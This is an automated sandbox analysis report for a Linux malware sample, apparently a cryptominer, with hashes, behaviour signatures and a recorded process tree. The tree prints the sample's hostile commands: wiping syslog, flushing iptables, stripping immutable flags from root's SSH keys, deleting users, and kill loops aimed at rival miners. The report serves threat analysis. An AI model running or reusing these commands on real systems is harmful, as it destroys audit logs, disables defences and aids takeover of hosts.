Analysis
-
max time kernel
94s -
max time network
124s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
29-09-2024 11:33
Static task
static1
Behavioral task
behavioral1
Sample
fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118
Resource
debian9-mipsel-20240418-en
General
-
Target
fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118
-
Size
27KB
-
MD5
fe70c19936ef32efb00f3c75ea90e701
-
SHA1
461514742ae77741e53efb6975ffd8d3db264c92
-
SHA256
7f0e07d0e5f7af973ab0f2768f06c00efb7f37da49fb6939df547d076e2c62d5
-
SHA512
dad1271c0984f3120dc0c35725212fdccf707b4c3e5ecc6b1fe9e5ba95b295398d17fdac46c767375268fb1577128d23aa519ebfabc881a3b11e78de1b6a8f4b
-
SSDEEP
384:G7pQQwQHDf6jlpTWg3vMGQiKMvh/4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdeD:G7JoFNcDvFLcIwgiYq0xzBWjzr2W
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 1 IoCs
Processes:
ioc pid process /usr/bin/salt-store 2155 -
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
-
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
-
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
xargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargspid process 1066 xargs 1208 xargs 1213 xargs 1443 xargs 1662 xargs 854 xargs 889 xargs 899 xargs 1780 xargs 1674 xargs 1680 xargs 1744 xargs 1588 xargs 1720 xargs 1782 xargs 2019 872 xargs 1230 xargs 1346 xargs 1698 xargs 1706 xargs 1768 xargs 2109 715 chattr 1004 xargs 1111 xargs 1385 xargs 1688 xargs 1722 xargs 2101 753 chattr 782 xargs 1373 xargs 1736 xargs 1752 xargs 2073 1379 xargs 1553 xargs 1718 xargs 1090 xargs 1490 xargs 1672 xargs 2029 770 xargs 788 xargs 904 xargs 966 xargs 1508 xargs 991 xargs 1052 xargs 924 xargs 1392 xargs 1702 xargs 1598 xargs 1732 xargs 1740 xargs 842 xargs 1593 xargs 1637 xargs 1461 xargs 2037 2085 1203 xargs 1656 xargs -
Creates/modifies Cron job 1 TTPs 22 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
description ioc process File opened for modification /var/spool/cron/crontabs/tmp.Gth3RG File opened for modification /var/spool/cron/crontabs/tmp.SoMxoI File opened for modification /var/spool/cron/crontabs/tmp.fhKMQo File opened for modification /var/spool/cron/crontabs/tmp.pT4teK File opened for modification /var/spool/cron/crontabs/tmp.v4ES3t File opened for modification /var/spool/cron/crontabs/tmp.HCl7Fr File opened for modification /var/spool/cron/crontabs/tmp.QwGskd File opened for modification /var/spool/cron/crontabs/tmp.aOekth File opened for modification /var/spool/cron/crontabs/tmp.t5AQrX File opened for modification /var/spool/cron/crontabs/tmp.uviz7A File opened for modification /var/spool/cron/crontabs/tmp.yEpEhX File opened for modification /var/spool/cron/crontabs/tmp.YsGDuh File opened for modification /var/spool/cron/crontabs/tmp.smEl61 File opened for modification /var/spool/cron/crontabs/tmp.FlKOue File opened for modification /var/spool/cron/crontabs/tmp.RKVHVD File opened for modification /var/spool/cron/crontabs/tmp.iadoMP File opened for modification /var/spool/cron/crontabs/tmp.ctChMc File opened for modification /var/spool/cron/crontabs/tmp.R86iA4 File opened for modification /var/spool/cron/crontabs/tmp.HGzAwW File opened for modification /var/spool/cron/crontabs/tmp.BcCSnR File opened for modification /var/spool/cron/crontabs/tmp.tlIXqf File opened for modification /var/spool/cron/crontabs/tmp.itsFVq -
Disables AppArmor 16 IoCs
Disables AppArmor security module.
Processes:
pid process 2111 2119 2111 2111 2111 2122 2124 2119 2119 2119 2118 2126 2111 2111 2119 2119 -
Enumerates running processes
Discovers information about currently running processes on the system
-
Write file to user bin folder 2 IoCs
Processes:
description ioc process File opened for modification /usr/bin/salt-store File opened for modification /usr/bin/salt-store -
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pgreppgreppkillpspspspgreppspgreppkillexim4pkillpskillpgreppgreppspspkillpspgreppkillpkillpspgreppkillpspspkillpspspgreppgreppkillpkillpspspspspspgreppgreppspspspspgreppspspspgreppgreppgreppgreppkillpgreppkillexim4description ioc process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online exim4 -
Enumerates kernel/hardware configuration 1 TTPs 8 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
description ioc process File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus -
Process Discovery 1 TTPs 64 IoCs
Adversaries may try to discover information about running processes.
Processes:
pspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspid process 968 ps 759 ps 885 ps 905 ps 1221 ps 1099 ps 1133 ps 1154 ps 1533 ps 1554 ps 1261 ps 1420 ps 910 ps 1209 ps 1333 ps 1503 ps 1077 ps 1188 ps 1462 ps 1474 ps 962 ps 1086 ps 1288 ps 1348 ps 1362 ps 1375 ps 1515 ps 1015 ps 1144 ps 1241 ps 1341 ps 1450 ps 1022 ps 890 ps 946 ps 1062 ps 1485 ps 1521 ps 1159 ps 1168 ps 1214 ps 1246 ps 1407 ps 1539 ps 1048 ps 1149 ps 900 ps 951 ps 987 ps 1282 ps 1114 ps 1199 ps 1326 ps 1369 ps 1564 ps 925 ps 1068 ps 1426 ps 1444 ps 1456 ps 936 ps 1121 ps 1236 ps 1302 ps -
Processes:
pspspgreppkillpkillpspgreppkillpkillpspgreppkillpkillpspgreppgreppspspspkillpkillpspspspspspgreppgreppspspspspspspspspspspspkillpspspspsawkpgreppgreppgreppspspgreppgreppspspspsdescription ioc process File opened for reading /proc/714/status ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/437/status pgrep File opened for reading /proc/382/status pkill File opened for reading /proc/711/status pkill File opened for reading /proc/21/status File opened for reading /proc/678/status ps File opened for reading /proc/110/status ps File opened for reading /proc/21/cmdline pgrep File opened for reading /proc/19/cmdline pkill File opened for reading /proc/18/status pkill File opened for reading /proc/1449/status ps File opened for reading /proc/155/status pgrep File opened for reading /proc/372/cmdline pkill File opened for reading /proc/158/cmdline pkill File opened for reading /proc/237/cmdline File opened for reading /proc/73/status ps File opened for reading /proc/sys/kernel/osrelease pgrep File opened for reading /proc/3/cmdline pkill File opened for reading /proc/5/status pgrep File opened for reading /proc/18/stat ps File opened for reading /proc/711/stat ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/10/status pkill File opened for reading /proc/110/status pkill File opened for reading /proc/372/status File opened for reading /proc/17/status ps File opened for reading /proc/437/status ps File opened for reading /proc/17/status ps File opened for reading /proc/75/stat ps File opened for reading /proc/126/cmdline ps File opened for reading /proc/73/cmdline pgrep File opened for reading /proc/237/cmdline pgrep File opened for reading /proc/155/status ps File opened for reading /proc/11/status ps File opened for reading /proc/1288/cmdline ps File opened for reading /proc/tty/drivers ps File opened for reading /proc/388/cmdline ps File opened for reading /proc/371/status pkill File opened for reading /proc/82/cmdline ps File opened for reading /proc/71/status ps File opened for reading /proc/125/cmdline ps File opened for reading /proc/1345/status ps File opened for reading /proc/37/status ps File opened for reading /proc/37/status ps File opened for reading /proc/15/cmdline pkill File opened for reading /proc/340/cmdline File opened for reading /proc/73/stat ps File opened for reading /proc/341/cmdline File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/707/stat ps File opened for reading /proc/16/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/675/status pgrep File opened for reading /proc/sys/kernel/osrelease pgrep File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/6/cmdline ps File opened for reading /proc/125/status ps File opened for reading /proc/7/cmdline pgrep File opened for reading /proc/710/cmdline pgrep File opened for reading /proc/126/cmdline ps File opened for reading /proc/175/stat ps File opened for reading /proc/80/cmdline ps File opened for reading /proc/714/cmdline ps -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
grepgrepgreppid process 1928 1123 grep 1156 grep 1390 grep -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118description ioc process File opened for modification /tmp/log_rot fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118
Processes
-
/tmp/fe70c19936ef32efb00f3c75ea90e701_JaffaCakes118/tmp/fe70c19936ef32efb00f3c75ea90e701_JaffaCakes1181⤵
- Writes file to tmp directory
PID:711 -
/bin/rmrm -rf /var/log/syslog2⤵PID:713
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:715
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:719
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:721
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:727 -
/usr/sbin/sendmailsendmail -t3⤵PID:738
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1suqJW-0000Bu-3X4⤵
- Reads CPU attributes
PID:750
-
-
-
/usr/sbin/sendmailsendmail -t3⤵PID:742
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1suqJW-0000By-2o4⤵
- Reads CPU attributes
PID:751
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:744
-
-
-
/usr/sbin/userdeluserdel akay2⤵PID:746
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:748
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:752
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:753
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:755
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:757
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:758
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:760
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:759
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:763
-
-
/bin/psps aux2⤵PID:762
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:769
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:768
-
-
/bin/grepgrep 185.71.65.2382⤵PID:767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:770
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:775
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:774
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:773
-
-
/bin/grepgrep 140.82.52.872⤵PID:772
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:782
-
-
/bin/grepgrep -v -2⤵PID:781
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:780
-
-
/bin/grepgrep :4432⤵PID:778
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:788
-
-
/bin/grepgrep -v -2⤵PID:787
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:786
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:785
-
-
/bin/grepgrep :232⤵PID:784
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:794
-
-
/bin/grepgrep -v -2⤵PID:793
-
-
/bin/grepgrep :4432⤵PID:790
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:792
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:791
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:798
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:800
-
-
/bin/grepgrep -v -2⤵PID:799
-
-
/bin/grepgrep :1432⤵PID:796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:806
-
-
/bin/grepgrep -v -2⤵PID:805
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:804
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:803
-
-
/bin/grepgrep :22222⤵PID:802
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:812
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:810
-
-
/bin/grepgrep -v -2⤵PID:811
-
-
/bin/grepgrep :33332⤵PID:808
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:818
-
-
/bin/grepgrep -v -2⤵PID:817
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:816
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:815
-
-
/bin/grepgrep :33892⤵PID:814
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:824
-
-
/bin/grepgrep -v -2⤵PID:823
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:822
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:821
-
-
/bin/grepgrep :44442⤵PID:820
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:830
-
-
/bin/grepgrep -v -2⤵PID:829
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:828
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:827
-
-
/bin/grepgrep :55552⤵PID:826
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:836
-
-
/bin/grepgrep -v -2⤵PID:835
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:833
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:834
-
-
/bin/grepgrep :66662⤵PID:832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:842
-
-
/bin/grepgrep -v -2⤵PID:841
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:840
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:839
-
-
/bin/grepgrep :66652⤵PID:838
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:848
-
-
/bin/grepgrep -v -2⤵PID:847
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:846
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:845
-
-
/bin/grepgrep :66672⤵PID:844
-
-
/bin/grepgrep -v -2⤵PID:853
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:854
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:852
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:851
-
-
/bin/grepgrep :77772⤵PID:850
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/bin/grepgrep -v -2⤵PID:859
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:858
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:857
-
-
/bin/grepgrep :84442⤵PID:856
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:866
-
-
/bin/grepgrep -v -2⤵PID:865
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:864
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:863
-
-
/bin/grepgrep :33472⤵PID:862
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:872
-
-
/bin/grepgrep -v -2⤵PID:871
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:870
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:869
-
-
/bin/grepgrep :144442⤵PID:868
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:878
-
-
/bin/grepgrep -v -2⤵PID:877
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:876
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:875
-
-
/bin/grepgrep :144332⤵PID:874
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:884
-
-
/bin/grepgrep -v -2⤵PID:883
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:882
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:881
-
-
/bin/grepgrep :135312⤵PID:880
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:889
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:888
-
-
/bin/grepgrep -v grep2⤵PID:887
-
-
/bin/grepgrep "sleep 60"2⤵PID:886
-
-
/bin/psps aux2⤵
- Process Discovery
PID:885
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:894
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
-
/bin/grepgrep -v grep2⤵PID:892
-
-
/bin/grepgrep ./crun2⤵PID:891
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:890
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:899
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:898
-
-
/bin/grepgrep -v grep2⤵PID:897
-
-
/bin/grepgrep -vw salt-minions2⤵PID:896
-
-
/bin/psps aux2⤵PID:895
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:904
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:903
-
-
/bin/grepgrep :33332⤵PID:902
-
-
/bin/grepgrep -v grep2⤵PID:901
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:900
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:909
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:908
-
-
/bin/grepgrep :55552⤵PID:907
-
-
/bin/grepgrep -v grep2⤵PID:906
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:905
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:914
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:913
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:912
-
-
/bin/grepgrep -v grep2⤵PID:911
-
-
/bin/psps aux2⤵
- Process Discovery
PID:910
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:919
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:918
-
-
/bin/grepgrep log_2⤵PID:917
-
-
/bin/grepgrep -v grep2⤵PID:916
-
-
/bin/psps aux2⤵PID:915
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:924
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:923
-
-
/bin/grepgrep systemten2⤵PID:922
-
-
/bin/grepgrep -v grep2⤵PID:921
-
-
/bin/psps aux2⤵PID:920
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:929
-
/usr/local/sbin/killkill -9 103⤵PID:930
-
-
/usr/local/bin/killkill -9 103⤵PID:930
-
-
/usr/sbin/killkill -9 103⤵PID:930
-
-
/usr/bin/killkill -9 103⤵PID:930
-
-
/sbin/killkill -9 103⤵PID:930
-
-
/bin/killkill -9 103⤵PID:930
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
-
/bin/grepgrep netns2⤵PID:927
-
-
/bin/grepgrep -v grep2⤵PID:926
-
-
/bin/psps aux2⤵
- Process Discovery
PID:925
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:935
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:934
-
-
/bin/grepgrep voltuned2⤵PID:933
-
-
/bin/grepgrep -v grep2⤵PID:932
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:931
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:940
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:939
-
-
/bin/grepgrep darwin2⤵PID:938
-
-
/bin/grepgrep -v grep2⤵PID:937
-
-
/bin/psps aux2⤵
- Process Discovery
PID:936
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:945
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:944
-
-
/bin/grepgrep /tmp/dl2⤵PID:943
-
-
/bin/grepgrep -v grep2⤵PID:942
-
-
/bin/psps aux2⤵PID:941
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:950
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:949
-
-
/bin/grepgrep /tmp/ddg2⤵PID:948
-
-
/bin/grepgrep -v grep2⤵PID:947
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:946
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:955
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:954
-
-
/bin/grepgrep /tmp/pprt2⤵PID:953
-
-
/bin/grepgrep -v grep2⤵PID:952
-
-
/bin/psps aux2⤵
- Process Discovery
PID:951
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:960
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:959
-
-
/bin/grepgrep /tmp/ppol2⤵PID:958
-
-
/bin/grepgrep -v grep2⤵PID:957
-
-
/bin/psps aux2⤵PID:956
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:966
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:965
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:964
-
-
/bin/grepgrep -v grep2⤵PID:963
-
-
/bin/psps aux2⤵
- Process Discovery
PID:962
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:972
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:971
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:970
-
-
/bin/grepgrep -v grep2⤵PID:969
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:968
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:979
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:978
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:977
-
-
/bin/grepgrep -v grep2⤵PID:976
-
-
/bin/psps aux2⤵PID:975
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:986
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:985
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:984
-
-
/bin/grepgrep -v grep2⤵PID:983
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:982
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:991
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:990
-
-
/bin/grepgrep 45.76.122.922⤵PID:989
-
-
/bin/grepgrep -v grep2⤵PID:988
-
-
/bin/psps aux2⤵
- Process Discovery
PID:987
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:998
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:997
-
-
/bin/grepgrep 51.38.191.1782⤵PID:996
-
-
/bin/grepgrep -v grep2⤵PID:995
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:994
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1004
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1003
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1002
-
-
/bin/grepgrep -v grep2⤵PID:1001
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1000
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1010
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1009
-
-
/bin/grepgrep 86s.jpg2⤵PID:1008
-
-
/bin/grepgrep -v grep2⤵PID:1007
-
-
/bin/psps aux2⤵PID:1006
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1019
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1018
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1017
-
-
/bin/grepgrep -v grep2⤵PID:1016
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1015
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1024
-
-
/bin/grepgrep -v grep2⤵PID:1023
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1026
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1025
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1022
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1033
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1032
-
-
/bin/grepgrep PuNY5tm22⤵PID:1031
-
-
/bin/grepgrep -v grep2⤵PID:1030
-
-
/bin/psps aux2⤵PID:1029
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1039
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1037
-
-
/bin/grepgrep -v grep2⤵PID:1036
-
-
/bin/psps aux2⤵PID:1035
-
-
